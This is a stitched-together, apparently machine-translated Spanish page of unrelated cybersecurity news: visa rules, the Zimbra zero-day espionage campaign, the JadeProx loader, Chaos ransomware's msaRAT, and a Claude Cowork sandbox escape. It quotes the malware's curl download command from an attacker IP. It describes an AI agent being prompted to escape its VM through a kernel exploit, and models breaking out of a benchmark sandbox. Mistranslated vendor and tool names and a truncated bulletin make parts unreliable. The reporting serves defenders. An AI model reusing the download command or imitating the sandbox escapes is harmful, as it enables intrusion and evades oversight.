Rubio restringe visas a sextorsionistas y ciberestafadores

El Departamento de Estado restringirá las visas para ciberdelincuentes como estafadores a sextorsionistas y, en algunos casos, incluso a sus familiares, dijo el jueves el Secretario de Estado Marco Rubio.

La administración Trump ha tratado de hacer de la lucha contra las estafas realizadas en el extranjero uno de los temas emblemáticos de su segundo mandato. Un orden ejecutiva que el presidente firmó en marzo indicaba que las restricciones de visas estarían sobre la mesa como una respuesta.

“Al restringir la emisión de visas a quienes son responsables o cómplices de estas empresas criminales, estamos enviando un mensaje claro: Estados Unidos perseguirá a quienes se aprovechan de nuestros ciudadanos”. rubio dijo.

Otros departamentos también han hecho esfuerzos para reducir las estafas realizadas en el extranjero. En junio, el Departamento de Justicia confiscó la infraestructura utilizada por las subsidiarias del Grupo Huione, un conglomerado corporativo con sede en Camboya vinculado a uno de los mercados criminales más prolíficos del mundo utilizado para cometer estafas cibernéticas y otros delitos.

Rubio autorizó las restricciones de visa bajo una ley de 1952 que otorga al Departamento de Estado la capacidad de deportar o declarar inadmisible a alguien que plantee “consecuencias adversas potencialmente graves en política exterior”.

Los críticos han acusado a la administración Trump de abusar de esa disposición de la ley para propósitos políticos.

La declaración de Rubio sobre las restricciones de visa menciona a “individuos responsables o cómplices de delitos cibernéticos y delitos cibernéticos, como los involucrados en estafas cibernéticas y sextorsión”. Además, dijo, “los familiares directos de personas involucradas en tales actividades ilícitas también pueden estar sujetos a restricciones de visa”.

Betsy Cooper, directora fundadora de Aspen Policy Academy, dijo que las restricciones de visa a los ciberdelincuentes podrían ser valiosas, pero ofreció una advertencia.

«Estafar a las personas es una empresa global en crecimiento, y es un objetivo loable penalizar a quienes estafan y defraudan a las personas, ya que rara vez sufren consecuencias por sus acciones», dijo en una declaración a CyberScoop. «Mientras los nuevos controles de visas se utilicen de manera restringida y se implementen sólo contra estafadores y defraudadores verificados, este es un paso positivo hacia la lucha contra el crimen cibernético».

Si bien algunos expertos cibernéticos han cuestionado en qué medida les afectarán las restricciones de visa, los procesamientos y otros castigos a los malhechores cibernéticos que residen en el extranjero, otros sostienen que puede servir como disuasivo para aquellos que considerarían trabajar pero quieren libertad para viajar por el mundo.

FightCyberCrime.org, una organización sin fines de lucro que busca ayudar a las víctimas de delitos cibernéticos, aplaudió las restricciones impuestas a los ciberdelincuentes.

«Damos la bienvenida a los esfuerzos para responsabilizar a los ciberdelincuentes a través de las fronteras. Las estafas de inversión en criptomonedas, las estafas románticas y la sextorsión causan daños financieros y emocionales devastadores a las víctimas», dijo en un comunicado a CyberScoop. «La disrupción significativa de estas redes criminales transnacionales es una parte esencial de la respuesta».

Pero aún queda un largo camino por recorrer en la lucha, continúa el comunicado.

“Al mismo tiempo, debemos invertir más en apoyo a las víctimas, prevención y recursos de recuperación”, dijo la organización. «La rendición de cuentas es fundamental, pero garantizar que las víctimas tengan acceso a recursos y apoyo informados sobre el trauma es igualmente importante».

Tim Starks

Escrito por Tim Starks

Tim Starks es reportero senior de CyberScoop. Sus paradas anteriores incluyen trabajar en The Washington Post, POLITICO y Congressional Quarterly. Originario de Evansville, Indiana, se ocupa de la ciberseguridad desde 2003. Envíe un correo electrónico a Tim aquí: tim.starks@cyberscoop.com.

Un grupo de espionaje ruso aprovechó Zimbra Zero-Day para robar correo y códigos 2FA – CYBERDEFENSA.MX

Un grupo de espionaje apoyado por el estado ruso pasó meses leyendo buzones de correo occidentales a través de una falla entonces desconocida en el cliente de correo web de Zimbra.

La carga útil va después de los últimos 90 días de correo electrónico, todo el directorio de correo electrónico de la organización, la contraseña guardada en el navegador y los códigos guardados para la recuperación de dos factores. Abrir el mensaje fue suficiente para iniciarlo.

La NSACISA y agencias asociadas publicaron un asesoramiento conjunto sobre la campaña del jueves, junto con la investigación de Unit 42 y Proofpoint de Palo Alto Networks.

El aviso llama a la técnica «un exploit basado en visualización que sólo requiere que un usuario vea un correo electrónico malicioso» en un cliente vulnerable. Dice que los actores han estado atacando y comprometiendo a organizaciones comerciales y gubernamentales occidentales a través de Zimbra desde al menos julio de 2025.

el defecto, CVE-2025-66376es una vulnerabilidad de secuencias de comandos entre sitios almacenada en la interfaz de usuario clásica de Zimbra. Un correo electrónico HTML diseñado abusa de CSS @import manejo para ejecutar JavaScript dentro de una sesión de correo web autenticada, por lo que la carga útil hereda el acceso del usuario al buzón.

Los dos registros CVSS no están de acuerdo sobre si ver el mensaje cuenta como interacción del usuario: NVD obtiene una puntuación de 6,1 y dice que sí; MITRE le da un 7,2 y dice que no. La Unidad 42 lo llama clic cero. Los tres describen el mismo comportamiento: el mensaje se ejecuta cuando se procesa y no tiene que suceder nada más.

Ciberseguridad

Afecta a Zimbra Collaboration 10.0 antes 10.0.18 y 10.1 antes 10.1.13. Zimbra lo arregló el 6 de noviembre de 2025 y CISA lo agregó al catálogo de vulnerabilidades explotadas conocidas el 18 de marzo de 2026. Punto de pruebaque rastrea al actor como TA488, dijo que el grupo explotó el error como una vulnerabilidad desconocida durante al menos cinco meses durante 2025, antes de que existiera esa solución.

El parche cierra el agujero, no la cuenta. Una actualización no revoca las credenciales que la carga útil ya utilizó.

Proofpoint dijo que los mensajes salieron de cuentas de Proton Mail controladas por el adversario y de direcciones previamente comprometidas, utilizando señuelos genéricos. Unidad 42que rastrea la actividad como CL-STA-1114, dijo que a menudo estaban disfrazados de un resumen de noticias actuales. El exploit se encuentra en el cuerpo HTML.

Se esconde un svg onload etiqueta dentro de un display:none div, luego separa la etiqueta con fake @import directivas y comentarios HTML, una técnica que Proofpoint llama división de etiquetas. El desinfectante de Zimbra no reconoce los fragmentos como marcado ejecutable. Se desnuda el @import secuencias, y los personajes que quedan atrás se unen en que ejecuta el navegador.

Proofpoint rastrea la carga útil de JavaScript como ZimReaper. Roba el token CSRF y la contraseña autocompletada del navegador, extrae códigos reutilizables 2FA y detalles de la versión de Zimbra a través de las propias API de la plataforma y los filtra a través de consultas DNS a la infraestructura del actor. Luego aplica fuerza bruta a la Lista global de direcciones, consultando cada combinación de dos caracteres hasta que aparece la lista completa, y publica 90 días del correo de la víctima en el C2 como un archivo TGZ.

La unidad 42 contó al menos nueve direcciones IP C2 y nueve dominios, cada servidor vive un promedio de 35,4 días. No nombró a ninguna organización afectada y no dio ningún recuento de víctimas. Su lista de sectores y regiones describe quién fue el objetivo. No dice quién fue comprometido. Esa lista incluye organizaciones gubernamentales, de defensa, de transporte y financieras en los estados miembros de la OTAN, Ucrania, la Comunidad de Estados Independientes y África. Proofpoint también incluye a las organizaciones estadounidenses: entidades gubernamentales, científicas y de base industrial de defensa, incluidas las instalaciones nucleares.

La carga útil genera una contraseña específica de la aplicación llamada ZimbraWeb a través de CreateAppSpecificPasswordRequestque puede otorgar acceso IMAP, POP3 o SMTP sin autenticación de dos factores. Proofpoint dijo que TA488 envió más correos electrónicos de explotación desde servidores de correo comprometidos y no pudo decir si las contraseñas de la aplicación u otras credenciales robadas fueron las que lo hicieron regresar.

En el caso de enero Seqrita analizadaen una agencia estatal de hidrología de Ucrania, la carga útil también cambió zimbraPrefImapEnabled a VERDADERO. «Las contraseñas específicas de aplicaciones sobreviven a los restablecimientos de contraseñas», escribieron los investigadores.

Parchea, luego revisa las cuentas.

Zimbra 10.0 llegado al final de la vida el 31 de diciembre de 2025, lo que hace 10.0.18 un piso de emergencia en lugar de un destino. La versión más reciente 10.1 es 10.1.20disponible el 20 de julio, que corrige cuatro fallas XSS más almacenadas en Classic Web Client.

Actualice las implementaciones 10.1 al menos 10.1.13y migrar las implementaciones 10.0 a una versión 10.1 compatible. Entonces trabaja las cuentas. Cualquier buzón que haya abierto o obtenido una vista previa de un mensaje coincidente en una sesión vulnerable de la IU clásica debe tratarse como potencialmente comprometido: restablecer la contraseña, invalidar las sesiones activas y regenerar códigos reutilizables 2FA.

Los mensajes que llegaron pero que nunca se abrieron deben extraerse y verificarse su HTML en busca de fragmentos. @import patrón, que coincide con la regla YARA publicada por Proofpoint. La actualización no realiza ninguna de las comprobaciones siguientes.

Provienen de la guía de Proofpoint y Seqrite:

  • Revisar /opt/zimbra/log/audit.log para llamadas a CreateAppSpecificPassword y eliminar cualquier credencial denominada ZimbraWeb
  • encontrar cuentas con zimbraPrefImapEnabled configurado en TRUE que no tiene necesidad comercial de IMAP
  • Alerta sobre llamadas SOAP a GetScratchCodesRequestque debería estar casi ausente en uso normal
  • Filtrar DNS para el dominios C2 publicados y alerta sobre las largas búsquedas aleatorias de subdominios que utiliza la carga útil para filtrar

¿Sigues corriendo?

La duración de la campaña depende de la telemetría que leas. La Unidad 42 dijo que los actores de amenazas continúan apuntando activamente a instancias ZCS sin parches utilizando la falla, sin decir si este grupo se encuentra entre ellos.

Ciberseguridad

El aviso advierte sobre la actividad en curso y evalúa que el grupo muy probablemente continuará persiguiendo a Zimbra y otros sistemas de correo electrónico occidentales, incluso si esta campaña termina a medida que las organizaciones se parchean. Proofpoint dijo que «no ha observado ninguna actividad desde TA488 desde febrero de 2026» y vinculó el silencio a la divulgación de Seqrite y al actor que derribó su propia infraestructura. La telemetría de ninguno de los proveedores lo resuelve.

Hacker News comparó las dos listas de indicadores y encontró los mismos nueve dominios en ambos, lo que coloca al CL-STA-1114 de la Unidad 42 y al TA488 de Proofpoint en la misma infraestructura. Las fechas vistas por primera vez por Proofpoint van desde julio de 2025 hasta febrero de 2026.

El aviso enumera LAUNDRY BEAR, Void Blizzard, CL-STA-1114 y TA488 como nombres de uso comunitario para estos actores, al tiempo que advierte que el mapeo puede no ser uno a uno. Proofpoint dijo que no podía vincular TA488 con Void Blizzard desde su propia telemetría y que los socios del gobierno de EE. UU. confirmaron la asociación. Seqrite atribuyó su caso de enero a APT28 con confianza media, mientras que Inteligencia holandesaque nombró LAUNDRY BEAR, lo trata a él y a APT28 como actores separados.

Para los defensores, el argumento sobre el nombre cambia poco. La aplicación de parches impide que se ejecute el siguiente correo electrónico diseñado. No revoca lo que dejó el último, por eso la revisión de la cuenta importa tanto como el número de versión.

China-Nexus JadeProx utiliza el nuevo cargador TriBack en ataques gubernamentales y sanitarios – CYBERDEFENSA.MX

Un servidor de Alibaba Cloud expuesto ha revelado una operación de nexo con China que Group-IB rastrea como JadeProx. El clúster se ha dirigido a organizaciones gubernamentales, sanitarias y educativas de Asia y América Latina con un cargador de Windows no documentado anteriormente llamado TriBack Loader.

Group-IB encontró el servidor a mediados de abril de 2026 en la región de Singapur de Alibaba Cloud; estaba desconectado cuando el informe publicado el 23 de julio de 2026.

Su historial de ataques, paquetes de phishing, herramientas posteriores a la explotación y rutas webshell delinearon la operación: intrusiones activas contra el sistema de imágenes médicas de un hospital público vietnamita y el Ministerio de Relaciones Exteriores de Malasia, escaneo y seguimiento de explotación contra la infraestructura educativa de Hong Kong y un paquete de phishing dirigido al Congreso Nacional de Honduras.

Los operadores llegaron al servidor de imágenes del hospital a través de webshells instalados en una interfaz de administración Java expuesta.

Un cargador, cuatro versiones

TriBack Loader aparece en cuatro cadenas de infección basadas en la carga lateral de DLL. La mayoría de las compilaciones recuperadas combinan un ejecutable firmado legítimo con una DLL maliciosa y una carga útil cifrada .dat o .log.

La DLL invierte los bytes de carga útil, los aplica XOR con una tecla móvil y ejecuta el código de shell a través de llamadas Win32 que EDR observa menos de cerca que CreateThread.

Ciberseguridad

Las compilaciones rotan esa llamada final: InitOnceExecuteOnce y una devolución de llamada TimerQueue en dos variantes, y EtwpCreateEtwThread, una rutina de creación de subprocesos no documentada en ntdll, en una tercera. El binario del host firmado también cambió entre variantes. La secuencia API repetida sugiere un constructor de cargador personalizado, dicen los investigadores.

Dos variantes entregadas AdaptixC2un marco de post-explotación de código abierto. Una variante con temática de Claude usó DonutLoader para ejecutar Beagle, una puerta trasera Sofos Fue el primero en documentarlo. Se desconoce la carga útil de la cuarta variante; su archivo complementario cifrado nunca se recuperó.

Un archivo de phishing llevaba como señuelo un extracto de cuenta falso de una empresa de bebidas. Otra campaña se hizo pasar por el software Claude de Anthropic de claude-pro[.]com, registrado el 28 de marzo de 2026, que ofrece un instalador MSI malicioso que, después de un mensaje de UAC, colocó la cadena de descarga en la carpeta de inicio de Windows para su persistencia. La puerta trasera del Beagle que entregó informó a la licencia[.]claude-pro[.]com.

Sophos, trabajando desde el sitio falso, su infraestructura de alojamiento y muestras de malware, encontró la misma clave XOR reutilizada en compilaciones que se remontan a febrero, pero dijo que una clave compartida no era suficiente para concluir con un actor.

Group-IB, trabajando a partir del contenido del servidor expuesto, agrupa esas compilaciones con las intrusiones asiáticas. Todavía no llega a nombrar un grupo establecido: las herramientas se mueven libremente en el ecosistema del nexo con China, señala Group-IB, por lo que una coincidencia en herramientas no es una coincidencia en operadores.

Los operadores también ejecutaron Nuclei con plantillas de gravedad crítica solo en una lista de 14.653 URL relacionadas con la educación de Hong Kong, lo que reveló 13 vulnerabilidades únicas. Esas 14.653 URL son una lista de escaneo y el informe no dice cuántos de los seguimientos tuvieron éxito.

El informe menciona cuatro CVE que los operadores intentaron contra hosts individuales, y The Hacker News confirmó los cuatro contra NVD el 23 de julio de 2026: CVE-2018-11511 en ASUSTOR ADM, CVE-2021-24139 en el complemento de WordPress 10Web Photo Gallery, CVE-2021-31755 en enrutadores Tenda AC11 y CVE-2021-32305 en WebSVN. Cada uno tiene una puntuación base CVSS de 9,8. El error de Tenda ha estado activo Catálogo de vulnerabilidades explotadas conocidas de CISA desde el 3 de noviembre de 2021, con un plazo federal de remediación que expiró dos semanas después.

La detección comienza con la cadena de carga lateral

Sophos evaluó que el sitio falso de Claude probablemente formaba parte de una campaña activa de publicidad maliciosa. Si es así, la exposición va mucho más allá de los ministerios y hospitales, hasta llegar a los usuarios que buscan una descarga de Claude.

Ciberseguridad

La detección funciona fuera del diseño del archivo, porque los nombres de los archivos y los hosts firmados cambian por compilación.

  • Marque los archivos binarios de proveedores firmados que se ejecutan desde directorios de inicio, temporales o de escritura por parte del usuario, especialmente cuando un archivo .dat o .log cifrado se encuentra en la misma carpeta.
  • Busque copias inesperadas de hostfxr.dll, avk.dll o MpClient.dll, además de carpetas anidadas _CL_###### y ~del.vbs.bat.
  • Bloquear o investigar los dominios del cluster: claude-pro[.]com, licencia[.]claude-pro[.]com, estrategia sylverix[.]com, gouvvbo[.]arriba, asesores de vertextrust[.]com y tres proveedores de seguridad similares que comparten una IP, update-trellix[.]com, actualización-crowdstrike[.]com y actualización-sentinelone[.]com. El servidor provisional era 43.106.71[.]28 en el puerto 8000. Ambas listas provienen del informe del 23 de julio del Grupo-IB.
  • Group-IB pone primero las aplicaciones Java orientadas a Internet, luego cualquier sistema público que tenga una falla de calificación 9.8 sin parchear, incluidos estos cuatro.

A pesar de toda la ingeniería del cargador, la mitad de escaneo de esta operación se basó en fallas reveladas en 2018 y 2021. Todo el trabajo personalizado se encuentra después del robo.

Android Spyware, PLC Attacks, AI Image Prompt Injection + 12 More Stories – CYBERDEFENSA.MX

Most of this week’s trouble came dressed as something useful.

A package stole data. A fake extension opened remote access. A safety app became spyware. An image gave hidden orders to an AI agent. Other threats hid in open systems, weak code, and normal network traffic.

The threats change every week. Subscribe, and we’ll alert you when each new ThreatsDay Bulletin is out.

The danger was easy to miss because it looked ordinary. Here is the full list:

  1. Support uploads face cutoff

    GitHub has announced an upcoming security change that may affect GitHub Enterprise Server (GHES) support bundle uploads. «Beginning August 18, 2026, GitHub will start rejecting command-line support bundle uploads from older GHES appliances that have not been updated with the required security patches,» GitHub said. «To avoid any disruption when submitting support bundles with ghe-support-bundle, ghe-cluster-support-bundle, or ghe-support-upload commands, please update your GHES instance to the latest patch release available for your current version line.» At minimum, the required patch versions are: 3.21.3, 3.20.5, 3.19.9, 3.18.12, and 3.17.18.

The common thread was not advanced hacking. It was borrowed trust. Each threat used something people already accept: an install, a permission, a familiar name, or a normal system feature.

That changes the job. The question is no longer only «Is this safe?» It is also «What can this do if it is not?» The smaller the action looks, the tighter its limits should be.

Grupo de espionaje ruso utiliza el novedoso exploit Zimbra para robar datos confidenciales de países occidentales

Un grupo de amenazas patrocinado por el estado ruso ha estado robando datos confidenciales de gobiernos y organizaciones comerciales desde julio de 2025 a través de un novedoso exploit en un popular software empresarial basado en Linux, advirtieron en un comunicado las autoridades estadounidenses y los funcionarios cibernéticos de más de una docena de otros países. asesoramiento conjunto sobre ciberseguridad Jueves.

La campaña de espionaje más reciente de Laundry Bear implica la explotación de una vulnerabilidad de día cero en Zimbra Collaboration Suite que no fue parcheada hasta noviembre de 2025, cinco meses después de que los ataques estuvieran en marcha, dijeron los funcionarios.

El exploit solo requiere una vista (sin clics) y permite a los atacantes robar el correo electrónico de los 90 días anteriores, la contraseña de la cuenta, el historial de búsqueda, el directorio de correo electrónico de la organización víctima, tokens de autenticación de dos factores y otras contraseñas recién creadas.

«La naturaleza encubierta y persistente de esta actividad, junto con la ausencia de cualquier extorsión financiera conocida, indica casi con certeza la participación de este grupo en actividades de espionaje con el respaldo del gobierno ruso», escribieron los funcionarios en el aviso.

“Además, los ataques extensivos a Ucrania, antes de su uso contra Estados Unidos y otros aliados de la OTAN, perfilan una tendencia creciente dentro de los grupos de ciberamenazas rusos a apuntar primero a los usuarios ucranianos, como objetivo prioritario y como banco de pruebas para técnicas cibernéticas maliciosas antes de un despliegue global más amplio”.

El grupo de espionaje patrocinado por el estado, también conocido como Void Blizzard, ha comprometido a gobiernos y organizaciones en los sectores de defensa, educación, energía, aplicación de la ley, medios de comunicación, finanzas, transporte y tecnología.

La campaña de un año de duración de Laundry Bear que implica la explotación de CVE-2025-66376 muestra más capacidades técnicas, incluida una carga útil de JavaScript personalizada que entrega a víctimas específicas a través de correos electrónicos de phishing. El grupo de amenazas probablemente también podría adaptar la novedosa capacidad de extracción y agregación de datos, denominada “colmena”, para explotar otras vulnerabilidades, advirtieron los funcionarios.

La calificación de gravedad media del defecto, 6,1, subraya el desafío que enfrentan regularmente los defensores al priorizar los programas de parches basándose únicamente en la medida de la gravedad.

El grupo respaldado por el estado ruso, que ha estado activo desde al menos 2024, todavía está explotando activamente las instancias de Zimbra Collaboration Suite que aún no están parcheadas, dijeron los funcionarios.

Las autoridades compartieron el jueves indicadores de compromiso y medidas de mitigación e instaron a las organizaciones a actualizar su software vulnerable.

«La victimología dirigida de esta campaña y las capacidades de explotación limitadas probablemente indican que este grupo identifica y ataca manualmente a las organizaciones víctimas» al identificar organizaciones con infraestructura de cara al público, escribieron los funcionarios en el aviso.

Una vez que se identifica un objetivo, Laundry Bear probablemente también recopile direcciones de correo electrónico para que los usuarios apunten con el exploit a través de correos electrónicos de phishing. Los funcionarios no identificaron víctimas específicas ni describieron el volumen de organizaciones ya comprometidas.

El aviso conjunto de ciberseguridad fue emitido por Estados Unidos, Australia, Canadá, Nueva Zelanda, Reino Unido, República Checa, Dinamarca, Estonia, Finlandia, Francia, Italia, Moldavia, Países Bajos, Polonia, España y Suecia.

Matt Kapko

Escrito por Matt Kapko

Matt Kapko es reportero de CyberScoop. Su ámbito incluye delitos cibernéticos, ransomware, defectos de software y (mala) gestión de vulnerabilidades. El californiano de toda la vida comenzó su carrera periodística en 2001 con paradas anteriores en Cybersecurity Dive, CIO, SDxCentral y RCR Wireless News. Matt tiene una licenciatura en periodismo e historia de la Universidad Estatal de Humboldt.

Chaos Ransomware utiliza msaRAT para enrutar el tráfico C2 a través de Chrome y Edge sin cabeza – CYBERDEFENSA.MX

El grupo de ransomware Chaos ejecutó su comando y control a través del propio navegador de la víctima. Cisco Talos el jueves msaRAT detalladoel implante Rust detrás de él, encontrado en una máquina Windows comprometida delante del cifrador.

El implante nunca abre una conexión saliente propia. Su proceso habla con 127.0.0.1 y nada más. Inicia Chrome o Edge en modo sin cabeza y dirige el navegador a través del protocolo Chrome DevTools, la API de depuración propia del navegador.

Cada mensaje C2 viaja desde allí a través de un canal de datos WebRTC transmitido por el servicio TURN de Twilio, por lo que lo que un defensor ve en el cable es un navegador que llama a Cloudflare y Twilio. La dirección del servidor del atacante nunca aparece.

Chrome habla

msaRAT busca primero Chrome o Edge a través de variables de entorno y luego recurre al registro de Chrome. Si no se encuentra ningún navegador coincidente, se omite la ruta CDP.

Cuando encuentra uno, inicia el navegador sin una ventana visible usando --headless=newhabilita CDP con --remote-debugging-porty lo apunta a un punto separado --user-data-dir.

Desde Cromo 136Google ya no respeta el interruptor de depuración del perfil predeterminado, un cambio anunciado en marzo de 2025 después de que los ladrones de información tomaran la bandera por robo de cookies. msaRAT trae su propio directorio de perfiles, por lo que el cambio no se interpone en su camino. Nada en el análisis de Talos muestra que toque en absoluto el perfil de la víctima.

Ciberseguridad

El malware pregunta /json/list/ para un destino depurable y se conecta a la URL de WebSocket devuelta. Crea una pestaña, desactiva la Política de seguridad de contenido con Page.setBypassCSPregistra cinco devoluciones de llamada a través Runtime.addBindingy llamadas Runtime.evaluate para inyectar JavaScript almacenado en texto sin formato en el binario .rdata sección.

Cuatro nombres de devolución de llamada, msaOpen, msaClose, msaErrory msaMessagele dio a Talos el nombre del malware. El quinto es dataAck.

Ese JavaScript obtiene la configuración STUN y TURN de un trabajador de Cloudflare en is-01-ast[.]ols-img-12[.]workers[.]devcon encabezados Origin y Referer disfrazados de tráfico del sitio de Microsoft. Crea una conexión entre pares y publica una oferta SDP en el mismo punto final.

La respuesta regresa sin candidatos ICE y la dirección de conexión establecida en 0.0.0.0por lo que no se puede formar ningún enlace directo de igual a igual, y todo el canal pasa por el relé de Twilio en global.turn.twilio.com. Una vez que el canal de datos está activo, el Trabajador se sale del camino.

El tráfico en ese canal se cifra dos veces. El navegador maneja DTLS y en su interior se encuentra un esquema basado en ChaCha-Poly1305 codificado por un intercambio ECDH que comienza con 0xFE marco de apretón de manos desde el C2 inmediatamente después de la conexión.

El implante pasa los marcos de comando entrantes a cmd.exe /e:ON /v:OFF /d /c para su ejecución. Talos considera que la cola de envío y el control de flujo probablemente estén diseñados para mover grandes cargas útiles, como capturas de pantalla o archivos, de manera confiable.

Ni la mitad del transporte es nueva. Pretoriano mostrado en agosto de 2025. que la infraestructura TURN de las plataformas de conferencias podría transportar un canal C2 completo, y Sansec encontró un skimmer en marzo de 2026 utilizar canales de datos WebRTC para pasar los datos de tarjetas robadas más allá de la inspección HTTP.

msaRAT coloca ambos dentro de un implante Rust vinculado al Caos que impulsa un navegador sin cabeza a través de CDP.

El camino de entrada es el mismo de siempre

msaRAT llega después de que el operador ya haya ejecutado y antes de que se ejecute el cifrador. Talos no dice cómo se llegó a esta máquina. el grupo libro de jugadas documentado Se trata de inundaciones de spam, vishing, Quick Assist y herramientas RMM para la persistencia.

El implante en sí baja con un único comando de flexión:

curl.exe https://172.86.126[.]18:443/update_ms.msi -o C:\programdata\update_ms.msi

Puerto 443, HTTP simple. Las reglas de firewall escritas alrededor de números de puerto sin inspección de protocolo lo dejan pasar. El MSI transporta datos de propiedad que se hacen pasar por una actualización de Windows y se activa una acción personalizada al final de la instalación para cargar una DLL integrada directamente en la memoria.

Esa DLL es msaRAT: escrita en Rust en el tiempo de ejecución asíncrono de Tokio, exportando una función llamada RUN para que el instalador llame.

Notas de caza

msaRAT es un malware posterior al compromiso y no depende de una vulnerabilidad de Chrome o Edge, por lo que los defensores no tienen ningún parche de navegador que aplicar para la técnica en sí.

La señal que perdura es el comportamiento del proceso. Como dice Talos, «se considera que todas las comunicaciones externas se originan en un proceso de navegación legítimo». Busque Chrome o Edge iniciado por un instalador, un servicio u otro padre no interactivo con --headless=new y --remote-debugging-port colocar.

Luego correlacione ese proceso con el tráfico de bucle invertido al puerto de depuración y al WebRTC saliente. Donde la telemetría captura mensajes CDP, Runtime.addBinding y Runtime.evaluate son los pivotes. Las flotas que ejecutan automatización de navegadores o CI tendrán sus propios trabajos sin cabeza para ajustar.

Ciberseguridad

Hasta el 23 de julio de 2026, Talos no ha publicado ningún hash de archivos para msaRAT. El conjunto de indicadores públicos son dos artefactos de red, la IP provisional y el nombre de host del trabajador, ambos en su repositorio del COI. Cobertura de detección de Talos:

  • almeja AV: Win.Downloader.ChaosRaas-10060321-0
  • Bufido 2: 1:66839, 1:66840, 1:66841
  • Bufido 3: 1:66839, 1:301587

Esos indicadores son útiles pero limitados. workers.dev es Dominio de implementación compartido de Cloudflareemitido para todas las cuentas de Workers, y los atacantes lo utilizaron el año pasado para organizar cargas útiles y túnel C2.

Twilio ejecuta un servicio STUN y TURN legítimo del que dependen las aplicaciones WebRTC reales. Bloquee cualquiera de los dos a nivel de organización e interrumpirá el tráfico de trabajo para todos los que los utilicen. Talos lo lee como la razón probable por la que se eligió a Cloudflare Workers para la señalización.

Trate esto como una artesanía observada en lugar de una campaña mesurada. El informe no identifica a la víctima, no establece cuántas organizaciones recibieron msaRAT, no dice cuándo comenzó a utilizarse el malware ni explica cómo se obtuvieron las credenciales de Cloudflare Worker y Twilio TURN.

La entrega no tiene nada de especial: una descarga curl, una actualización falsa de Windows, una DLL cargada desde un MSI. Lo que cambia es dónde vive el C2 después, y ambos indicadores publicados por Talos se pueden cambiar mañana. Un navegador sin cabeza generado por un instalador es más difícil de mover porque es la técnica.

msaRAT busca dos navegadores y necesita que uno de ellos esté presente y autorizado. En una flota de Windows, ese no es un requisito exigente.

La falla de Claude Cowork podría permitir que el agente AI escape de su máquina virtual y acceda a archivos de Mac – CYBERDEFENSA.MX

Investigadores de ciberseguridad han descubierto una vulnerabilidad de escape de sandbox en Anthropic Claude Cowork eso hace posible salir de los límites de una máquina virtual (VM) de Linux dentro de la cual se ejecuta el agente para leer o escribir archivos en cualquier lugar de la Mac.

Accomplish AI, que compartió detalles de la vulnerabilidad con The Hacker News antes de su publicación, dijo que alrededor de 500.000 usuarios de macOS que ejecutaban sesiones locales de Cowork se vieron afectados antes de que se parcheara. ha sido nombrado en clave Raíz compartida.

«Conectamos una carpeta a una nueva sesión de Claude Cowork, enviamos un mensaje corto y vimos al agente escapar de la zona de pruebas», dijo Oren Yomtov, investigador principal de seguridad de Accomplish AI, dicho. «Desde el interior de la máquina virtual, llegó al host Mac y leyó y escribió archivos por todas partes, muy fuera de la carpeta que habíamos conectado, sin solicitar permiso en ninguna parte».

Con este nivel de acceso, el agente puede acceder a cualquier dato almacenado en la Mac a través de la cuenta del usuario, incluidas claves SSH, credenciales de la nube y otra información valiosa.

Tras una divulgación responsable, Anthropic cerró el informe como informativo sin publicar una solución. Dicho esto, la última versión de Cowork utiliza de forma predeterminada la ejecución en la nube, lo que soluciona el problema. Pero los usuarios que optan por ejecutar el agente localmente todavía están expuestos al problema.

Ciberseguridad

La aplicación de escritorio macOS de Claude Cowork se ejecuta como el usuario que ha iniciado sesión en el sistema. El trabajo real relacionado con el agente, por otro lado, ocurre en una máquina virtual Linux creada a través de Apple. Marco de virtualización. Cada sesión tiene su propio usuario desechable sin privilegios, junto con un filtro de Modo de Computación Segura (seccomp) para el sandboxing de aplicaciones. Las carpetas conectadas por el usuario se comparten en la VM mediante un demonio raíz llamado coworkd.

«Un detalle importa más que el resto: el sistema de archivos del host se comparte en esa VM de lectura y escritura», explicó Yomtov. «Todo el host ‘/’ está montado de modo que solo el invitado raíz dentro de la VM pueda verlo, en /mnt/.virtiofs-root».

Debido a que todo el sistema de archivos del host está montado en la máquina virtual del agente con privilegios de lectura y escritura, cualquier ruta a la raíz del invitado puede otorgar al agente acceso al host subyacente, escapando efectivamente del entorno limitado.

Esto implica cargar el subsistema de edición de paquetes de control de tráfico (tc) «act_pedit» del kernel de Linux en un espacio de nombres de usuario sin privilegios y explotar CVE-2026-46331 en el kernel invitado, una falla recientemente revelada llamada pedit COW, para obtener la raíz invitada. Desde allí, el agente puede acceder a todo el host («https://thehackernews.com/») con privilegios elevados, lo que le permite leer o escribir archivos desde y hacia el sistema de archivos de Mac como usuario de escritorio conectado.

Or Hiltch, cofundador y CTO de Accomplish AI, dijo a The Hacker News que la creación de espacios de nombres de usuarios y redes le da a la sesión CAP_NET_ADMIN dentro de su espacio de nombres de red privada, lo que le permite realizar diversas operaciones relacionadas con la red.

«Esa capacidad proporciona acceso a la ruta vulnerable del kernel tc/act_pedit utilizada por pedit COW», añadió Hiltch. «Los espacios de nombres no son el exploit; ponen su prerrequisito normalmente privilegiado a disposición de un usuario normal».

El desarrollo adquiere importancia ante las revelaciones de que los modelos de OpenAI lograron salir de su entorno aislado durante una prueba de seguridad que resultó en la violación de la infraestructura de producción de Hugging Face en su intento de engañar al punto de referencia ExploitGym en el que estaban siendo calificados.

Ciberseguridad

«act_pedit es un error en una categoría», dijo Yomtov. «El subsistema net/sched de Linux lanza esta forma exacta de escalada de privilegios en una cadencia regular: un módulo autocargable, una ruta de configuración que un usuario sin privilegios puede alcanzar, un error de memoria al final. Parche este y habrá arreglado este. La cadena se rearma en el siguiente, con todo lo que está encima del kernel intacto».

«Y el siguiente siempre está por llegar. En cualquier momento dado, es probable que haya un error de escalada de privilegios al que todavía está expuesto, a veces solucionado en el sentido anterior pero aún no en su imagen, a veces aún no solucionado en ninguna parte, con un exploit funcional que funciona en cuestión de horas. Este no es un problema que se solucione más rápido. Estás estructuralmente un error detrás, todo el tiempo».

Para mitigar la amenaza, es esencial deshabilitar espacios de nombres de usuarios sin privilegiosevite hacer que el filtro seccomp sea demasiado permisivo, detenga la carga automática de módulos y restrinja el uso compartido de todo el host en la máquina virtual.

«Aléjelo a las carpetas que realmente estaban conectadas en lugar de a todas /, o al menos móntelo como de solo lectura, y ejecute coworkd con ProtectSystem=strict en su propio espacio de nombres de montaje para que no vuelva a ejecutar archivos binarios que un usuario de sesión pueda envenenar», dijo Accomplish. «Entonces, incluso una raíz invitada completa no tiene nada donde aterrizar, los dos últimos pasos de la cadena no tienen adónde ir».

Google agrega recuperación de video de selfies para usuarios bloqueados en sus cuentas – CYBERDEFENSA.MX

